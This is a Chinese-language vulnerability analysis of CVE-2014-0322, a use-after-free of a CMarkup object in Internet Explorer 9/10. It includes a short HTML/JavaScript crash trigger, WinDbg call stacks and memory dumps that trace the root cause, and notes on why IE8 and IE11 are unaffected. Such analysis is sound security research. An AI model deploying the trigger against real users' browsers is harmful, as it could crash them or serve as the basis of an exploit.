CVE-2014-0322 漏洞分析
漏洞概述
该漏洞是一个 CMarkup 对象的 UAF,其中CMarkup 指针残留在寄存器中。
关于这个漏洞,网上其实已经有很多分析文章,但是分析工作基本上都只是停留在表面,文章作者更多的着眼于漏洞的利用方法上,并没有过多的分析漏洞的根本原因,这里在三年之后回过头来仔细的分析一下漏洞产生的内在原理。
漏洞样本
<!--http://blog.csdn.net/tony_whu/article/details/19335801-->
<html>
<head id="headId">
<title>main page</title>
<script>
function fun()
{
try{
this.outerHTML=this.outerHTML
} catch(e){}
CollectGarbage();
}
function puIHa3() {
var a = document.getElementsByTagName("script");
var b = a[0];
b.onpropertychange = fun ;
var c = document.createElement('SELECT');
c = b.appendChild(c);//
}
puIHa3();
</script>
</head>
</html>
漏洞分析
首先阅读漏洞样本,样本逻辑大致为
- 获取页面中的script标签
- 为其设置事件响应 onpropertychange ,此时会第一次触发响应函数 fun
- 使用 appendChild 为其添加子节点,此时会第二次触发响应函数 fun
这里选用 script 标签是由于其特殊性:script 的 appendChild
DOM 操作会修改其 text 属性,从而触发 onpropertychange 事件。
测试环境为 win8 IE10,在浏览器中打开样本,程序崩溃,崩溃点及调用栈如下
0:005> r
eax=00000000 ebx=0e146fa0 ecx=77b13c18 edx=00731078 esi=0fe74cc0 edi=0779ef50
eip=6875da85 esp=0455b260 ebp=0455b2c8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
MSHTML!CMarkup::NotifyElementEnterTree+0x266:
6875da85 ff4678 inc dword ptr [esi+78h] ds:0023:0fe74d38=????????
0:005> kb
ChildEBP RetAddr Args to Child
0455b2c8 6875e1f1 0fe74cc0 0779ef50 0e146fa0 MSHTML!CMarkup::NotifyElementEnterTree+0x266
0455b30c 6875e065 0e146fa0 0779ef50 0fd54fc4 MSHTML!CMarkup::InsertSingleElement+0x169
0455b3ec 6875ddaa 0fe74cc0 0779ef50 0455b438 MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d
0455b410 6875dd6c 0779ef50 0455b438 0455b444 MSHTML!CMarkup::InsertElementInternal+0x2e
0455b450 6875de09 0779ef50 0455b548 0455b548 MSHTML!CDoc::InsertElement+0x9c
0455b518 686f3c10 00000000 0455b548 0c27cf40 MSHTML!InsertDOMNodeHelper+0x454
0455b590 686f390c 0c27cf40 0779ef50 00000000 MSHTML!CElement::InsertBeforeHelper+0x2a8
0455b5f4 686f402c 00000000 00000003 0a112e10 MSHTML!CElement::InsertBeforeHelper+0xe4
0455b614 686f6f43 0779ef50 00000001 00000000 MSHTML!CElement::InsertBefore+0x36
0455b6a0 686f6e60 0a112e10 0455b6e0 00000002 MSHTML!CElement::Var_appendChild+0xc7
很明显可以看到,程序崩溃在执行 appendChild
操作的流程中,且崩溃原因是由于 esi 指针即传入的第一个参数指向的位置非法导致的。esi 所指的地址空间为一个 CMarkup 对象(这里较简单,且网上分析问中均有藐视,因此不再赘述)
CMarkup 对象在 IE 中可以看作是 MarkupService 中的 MarkupContainer,其作用是用来囊括一系列的 DOM 操作,保证对 DOM 的流操作在其范围内进行。(Markup 和 CMarkup 对象)
第一次 onpropertychange
回到页面中来,我们首先在 this.outerHTML = this.outerHTML
语句上下断点,观察他的执行情况,其内部实现是调用函数 MSHTML!CElement::put_outerHTML
,在此处下断点重新运行程序,程序会在函数位置断下两次,首先在第一次触发断点时查看函数调用栈
0:005> k
ChildEBP RetAddr
0465a878 68b92772 MSHTML!CElement::put_outerHTML
0465a8a0 697ab86f MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x54
0465a908 697ac6ba jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185
0465a928 697ac7aa jscript9!Js::JavascriptArray::GetSetter+0xcf
0465a968 697ac85b jscript9!Js::JavascriptOperators::CallSetter+0x6c
0465a9a8 697b0a80 jscript9!Js::JavascriptOperators::SetProperty+0x178
0465a9d0 697b09da jscript9!Js::JavascriptOperators::OP_SetProperty+0x48
0465aa44 697b0953 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x1e8
0465abd8 69816492 jscript9!Js::InterpreterStackFrame::Process+0xfbf
0465ac14 69816445 jscript9!Js::InterpreterStackFrame::OP_TryCatch+0x3a
0465ada4 697836d9 jscript9!Js::InterpreterStackFrame::Process+0x3d20
0465aeb4 05e20fd9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
0465aec0 6977f8e0 0x5e20fd9
0465af48 6977fa4a jscript9!Js::JavascriptFunction::CallRootFunction+0x140
0465af60 6977fa1f jscript9!Js::JavascriptFunction::CallRootFunction+0x19
0465afa8 6977f9a7 jscript9!ScriptSite::CallRootFunction+0x40
0465afd4 6989f273 jscript9!ScriptSite::Execute+0x61
0465affc 698baaa3 jscript9!JavascriptDispatch::InvokeOnSelf+0xd6
0465b068 68a82bd6 jscript9!JavascriptDispatch::InvokeEx+0x1e5
0465b0bc 68a82ed9 MSHTML!CBase::InvokeDispatchWithThis+0xb9
0465b16c 686de94b MSHTML!CBase::InvokeEvent+0x2a2
0465b2e8 68a5cd68 MSHTML!CBase::FireEvent+0x12e
0465b480 68a5dfe3 MSHTML!CElement::FireEvent+0x266
0465b5c4 68aab4bc MSHTML!CElement::Fire_onpropertychange+0x66
0465b5e8 6862536f MSHTML!CElement::Fire_PropertyChangeHelper+0xfe
0465b7a4 68859384 MSHTML!CElement::OnPropertyChange+0x6a8
0465b7bc 68964b4f MSHTML!CScriptElement::OnPropertyChange+0x16
0465b7dc 68a58290 MSHTML!BASICPROPPARAMS::SetCodeProperty+0x83
0465b7f0 68964c3f MSHTML!PROPERTYDESC::HandleCodeProperty+0x5c
0465b814 68dcab28 MSHTML!CBase::put_VariantHelper+0x33
0465b858 697ab86f MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_onpropertychange+0x78
可以发现这里第一次调用是由于设置 onpropertychange 本身导致的。跟进函数进一步观察,函数会将页面中 script 标签的 outerHTML 内容再次解析,重新创建一 ScriptElement 并重新插入当前页面的 DOM 流中,替换掉之前的 ScriptElement 。
在 script 标签的创建位置 MSHTML!CScriptElement::CreateElement
下断点。程序在初始解析页面时会根据页面内容创建一 ScriptElement,我们称之为 script_a,继续运行程序,当执行 this.outerHTML = this.outerHTML
时会再次断在该位置,创建一个新的ScriptElement 我们称之为 script_b 。现在开始观察 script_a 和 script_b 与页面 DOM 流的位置情况。
<small>_这里先简要说明一下 IE 10 中 DOM 的结构,IE 10 中的 DOM 仍是以流结构来构建,用 CTreeNode 表示节点在 DOM 流中的位置,节点对象偏移 0x1C 位置指向的是其 CTreeNode 对象。CTreeNode 对象中使用两个 CTreePos 分别指向 DOM 流中节点的头标签位置(+0xC tpBegin)和尾标签位置 (+0x24 tpEnd),CTreePos 中又分别用两个指针指向当前位置的左(+0x10 tpLeft)和右(+0x14 tp_Right) _
CTreeNode
+0xC tpBegin
+0x10 tpLeft
+0x14 tp_Right
+0x24 tpEnd
+0x10 tpLeft
+0x14 tp_Right
</small>
如下所示是 script_b 刚刚创建之后 script_a 和 script_b 在流中的位置
// script_a
064fef40 688cdb38 00000006 00000005 00000028
064fef50 00000000 00000000 077ea0c1 0b294fa0 // 0b294fa0 是 script_a 的 CTreeNode
064fef60 00000065 01220008 90000e02 00000004
// CTreeNode_a
0b294fa0 064fef40 0ae9afa0 71020065 00000571
0b294fb0 00000012 0b34cfac 0b1fedb0 066d8fd0
0b294fc0 0b11efd0 00000072 00000171 0b11efd0
0b294fd0 03ea4fd0 0b11efd0 0ae9afc4 00010005
0b294fe0 00010006 00050042 00000000 00000000
0b294ff0 00000000 0ae72b30 06680bf8 00000000
// DOM 流
- 0x0ae50fc4 - 0x066d8fd0 - 0x0b294fac - 0x0b11efd0 - 0x0b294fc4 - 0x0ae9afc4 -
Title_tpEnd Text1 a_tpBegin Text2 a_tpEnd head_tp_end
// script_b
0ae5cf40 688cdb38 00000001 00000003 00000008
0ae5cf50 00000000 00000000 00000000 00000000
0ae5cf60 00000000 00000000 00000000 00000000
可以明显看出此时 script_a 处于页面 DOM 流中,而 script_b 并未处于流中 (其实这里 script_b 处于其解析过程中的 outerHTML 流中,不过为了节省篇幅,且此处无影响因此略过)
运行程序直至其跳出 MSHTML!CElement::put_outerHTML
,再次观察script_a 和 script_b 在流中的位置
// script_a
064fef40 688cdb38 00000003 00000003 00000018
064fef50 00000000 00000000 077ea0c0 00000000
064fef60 00000065 01200808 90000e02 00000004
// script_b
0ae5cf40 688cdb38 00000001 00000001 00000008
0ae5cf50 00000000 00000000 00000000 0b332fa0
0ae5cf60 00000065 01220000 90000800 00000004
// CTreeNode_b
0b332fa0 0ae5cf40 0ae9afa0 70020065 00000061
0b332fb0 00000000 0ae9afc4 066d8fd0 066d8fd0
0b332fc0 09cdbfd0 00000062 00000000 00000000
0b332fd0 09cdbfd0 09cdbfd0 0ae9afc4 ffffffff
0b332fe0 ffffffff 00010000 00000000 00000000
0b332ff0 00000000 00000000 06680bf8 00000000
// DOM 流
- 0x0ae50fc4 - 0x066d8fd0 - 0x0b294fac - 0x09cdbfd0 - 0x0b294fc4 - 0x0ae9afc4 -
Title_tpEnd Text1 b_tpBegin Text3 b_tpEnd head_tp_end
可以看出此时页面流发生了变化,script_a 被 script_b 替换。此时 script_a 不再处于 DOM 流中,而页面中 b 对象仍然指向 script_a。
appendChild
继续运行程序执行 appendChild
操作,该操作为目标节点在 DOM 流中添加子节点。此时进行操作的对象为 b.appendChild(c)
,即 script_a 对象。但是由于此时 script_a 不再处于 DOM 流中,因此需要为此次操作新建一个 DOM 流,因此需要新建一 CMarkup 对象,我们称之为 markup_tt。创建时函数调用栈如下
0:005> k
ChildEBP RetAddr
04c3bbe8 686f4e3d MSHTML!CDoc::CreateMarkupFromInfo+0x17f
04c3bc60 68965a66 MSHTML!CDoc::CreateMarkupWithElement+0x8a
04c3bce0 686f390c MSHTML!CElement::InsertBeforeHelper+0x36d
04c3bd44 686f402c MSHTML!CElement::InsertBeforeHelper+0xe4
04c3bd64 686f6f43 MSHTML!CElement::InsertBefore+0x36
04c3bdf0 686f6e60 MSHTML!CElement::Var_appendChild+0xc7
04c3be20 697ab86f MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55
运行程序直至其跳出 appendChild
,观察 script_a 在流中的位置
// script_a
064fef40 688cdb38 00000008 00000006 00000028
064fef50 00000000 00000000 077ea0c1 0b344fa0
064fef60 00000065 01220008 10000e02 00000004
// CTreeNode_a
0b344fa0 064fef40 09e97fa0 71020065 00000171
0b344fb0 00000001 09e97fac 0a02ffd8 09e97fac
0b344fc0 0a02ffd8 00000062 00000000 09e97fc4
0b344fd0 08306fd8 08306fd8 09e97fc4 00000003
0b344fe0 00010006 00050042 00000000 00000000
0b344ff0 00000000 0ae72b30 06680bf8 00000000
// DOM 流
0x09e97fac - 0x0b344fac - 0x0a02ffd8 - 0x0706afac - 0x0706afc4 - 0x08306fd8 - 0x0b344fc4 - 0x09e97fc4
markup_tt_root a_tpBegin Text1 Select_tpBegin Select_tpEnd Text2 a_tpEnd markup_tt_root
此时 script_a 处在 markup_tt 所管理的流中;同时查看 script_b 所处流的位置
// script_b
0ae5cf40 688cdb38 00000001 00000001 00000008
0ae5cf50 00000000 00000000 00000000 0b332fa0
0ae5cf60 00000065 01220000 90000800 00000004
// CTreeNode_b
0b332fa0 0ae5cf40 0ae9afa0 70020065 00000061
0b332fb0 00000000 0ae9afc4 066d8fd0 066d8fd0
0b332fc0 09cdbfd0 00000062 00000000 00000000
0b332fd0 09cdbfd0 09cdbfd0 0ae9afc4 ffffffff
0b332fe0 ffffffff 00010000 00000000 00000000
0b332ff0 00000000 00000000 06680bf8 00000000
// DOM 流
- 0x0ae50fc4 - 0x066d8fd0 - 0x0b294fac - 0x09cdbfd0 - 0x0b294fc4 - 0x0ae9afc4 -
Title_tpEnd Text1 b_tpBegin Text3 b_tpEnd head_tp_end
可以看出 appendChild 操作实际上并未对页面 DOM 流产生影响。
那么此时,进程中同时存在两个 DOM 流,一个是页面渲染所产生的 “页面DOM 流”,由页面内容索引可得;另一个是 appendChild 所产生的 “Append DOM 流”,由 js 对象 b 索引可得。且两个 DOM 流之间不相互影响。
第二次 onpropertychange
继续运行程序至第二次 MSHTML!CElement::put_outerHTML
位置,查看调用栈
04a8a8e8 68b92772 MSHTML!CElement::put_outerHTML+0x1d -----------------------------
04a8a910 697ab86f MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x54
......
04a8b62c 68aab4bc MSHTML!CElement::Fire_onpropertychange+0x66
04a8b650 6862536f MSHTML!CElement::Fire_PropertyChangeHelper+0xfe
04a8b80c 68859384 MSHTML!CElement::OnPropertyChange+0x6a8
04a8b824 68a2d2d7 MSHTML!CScriptElement::OnPropertyChange+0x16
04a8b898 688592e1 MSHTML!BASICPROPPARAMS::SetStringProperty+0x167
04a8b8bc 687f7017 MSHTML!CBase::put_StringHelper+0x5e
04a8b8dc 687f6fce MSHTML!CScriptElement::SetPropertyHelper+0x19
04a8b8fc 686299cb MSHTML!CScriptElement::OnTextChange+0x53
04a8b914 6875da03 MSHTML!CElement::HandleTextChange+0x3a -----------------------------
04a8b988 6875e1f1 MSHTML!CMarkup::NotifyElementEnterTree+0x1e4
04a8b9cc 6875e065 MSHTML!CMarkup::InsertSingleElement+0x169
04a8baac 6875ddaa MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d
04a8bad0 6875dd6c MSHTML!CMarkup::InsertElementInternal+0x2e
04a8bb10 6875de09 MSHTML!CDoc::InsertElement+0x9c
04a8bbd8 686f3c10 MSHTML!InsertDOMNodeHelper+0x454
04a8bc50 686f390c MSHTML!CElement::InsertBeforeHelper+0x2a8
04a8bcb4 686f402c MSHTML!CElement::InsertBeforeHelper+0xe4
04a8bcd4 686f6f43 MSHTML!CElement::InsertBefore+0x36
04a8bd60 686f6e60 MSHTML!CElement::Var_appendChild+0xc7
04a8bd90 697ab86f MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55
第二次调用是由于 appendChild
导致的 OnTextChange
触发,同样第二次调用也会创建一个新的 ScriptElement 我们称之为 script_c。这里同样进行 DOM 流的替换操作,此处替换的仍是 script_a。分别查看 script_a 、 script_b、 script_c 在流中的情况
// script_a 不变
0x09e97fac - 0x0b344fac - 0x0a02ffd8 - 0x0706afac - 0x0706afc4 - 0x08306fd8 - 0x0b344fc4 - 0x09e97fc4
markup_tt_root a_tpBegin Text1 Select_tpBegin Select_tpEnd Text2 a_tpEnd markup_tt_root
// script_b 不变
- 0x0ae50fc4 - 0x066d8fd0 - 0x0b294fac - 0x09cdbfd0 - 0x0b294fc4 - 0x0ae9afc4 -
Title_tpEnd Text1 b_tpBegin Text3 b_tpEnd head_tp_end
// script_c
0b310f40 688cdb38 00000001 00000000 00000008
0b310f50 00000000 00000000 00000000 00000000
0b310f60 00000065 00000000 00000000 00000000
在 markup_tt 上下硬件断点,运行程序,此时程序将会在markup_tt 释放处断下,查看调用栈,发现程序仍处在 MSHTML!CElement::put_outerHTML
中
04a8a724 68a9e27b MSHTML!InjectHtmlStream+0x512
04a8a764 6862bd08 MSHTML!HandleHTMLInjection+0x82
04a8a858 6862bf39 MSHTML!CElement::InjectInternal+0x506
04a8a8cc 687b12d9 MSHTML!CElement::InjectTextOrHTML+0x1a4
04a8a8e8 68b92772 MSHTML!CElement::put_outerHTML+0x1d
04a8a910 697ab86f MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x54
再次查看 script_a 、 script_b、 script_c 在流中的情况与之前做比对
// script_b
不变
// script_a
064fef40 688cdb38 00000008 00000006 00000028
064fef50 00000000 00000000 077ea0c1 00000000
064fef60 00000065 01200808 10000e02 00000004
// script_c
0b310f40 688cdb38 00000003 00000003 00000008
0b310f50 00000000 00000000 00000000 0b242fa0
0b310f60 00000065 01220000 90000e00 00000004
// CTreeNode_c
0b242fa0 0b310f40 0b1b4fa0 70020065 00000061
0b242fb0 00000000 00000000 09e97fac 09e97fac
0b242fc0 07c58fd0 00000252 00000013 09e97fc4
0b242fd0 0a92bfc4 07c58fd0 09e97fc4 ffffffff
0b242fe0 ffffffff 00030002 00000000 00000000
0b242ff0 00000000 00000000 06680bf8 00000000
0x09e97fac - 0x0b242fac - 0x07c58fd0 - 0x0b242fc4 - 0x09e97fc4
markup_tt_root c_tpBegin Text1 c_tpEnd markup_tt_root
可以看出这里 markup_tt 所管理的 “AppendChild DOM 流”中 script_a 被 script_c 所替换,而 “页面 DOM流”仍保持不变。
我们可以注意到当这个替换操作完成的时候,script_a 再次处于独立状态。此时,markup_tt 所管理的整个 DOM 流 都不会有 js 对象或者页面对象访问,换而言之,markup_tt 所管理的整个 DOM 流此时会被当作是垃圾。因此在函数退出时 markup_tt 的引用计数将会被设置为 0, 对象被释放。
而由于下层函数 CMarkup::NotifyElementEnterTree
的调用上下文中还存有 markup_tt 的指针,MSHTML!CElement::HandleTextChange
操作之后,还会对 markup_tt 进行访问,因此再次访问时程序崩溃!!!
另外说一点
在 CVE 官网上,我们可以看到 cve-2014-0322 只能在 IE9 、IE10 上触发。因此笔者分别在 IE8 和 IE11 上也对漏洞样本进行了分析,确实没有产生崩溃,并发现了如下情况
- IE8 中不允许 script 标签进行 AppendChild 操作,且其他标签均无法使用 DOM 操作触发 onpropertychange
- IE11 中Node 对象不再提供 outerHTML 属性的支持
- 使用Mutation事件响应的方式,同样可以导致 “AppendChild DOM 流” 的释放,但在Mutation事件响应结束之后,并不会再对 markup_tt 进行访问。因此不会触发漏洞
漏洞小节
这个漏洞的产生原因主要是由于,函数当前域内的 this 指针在其他函数域内被释放,且函数并未得到通知,因此仍照常使用 this 指针,导致崩溃。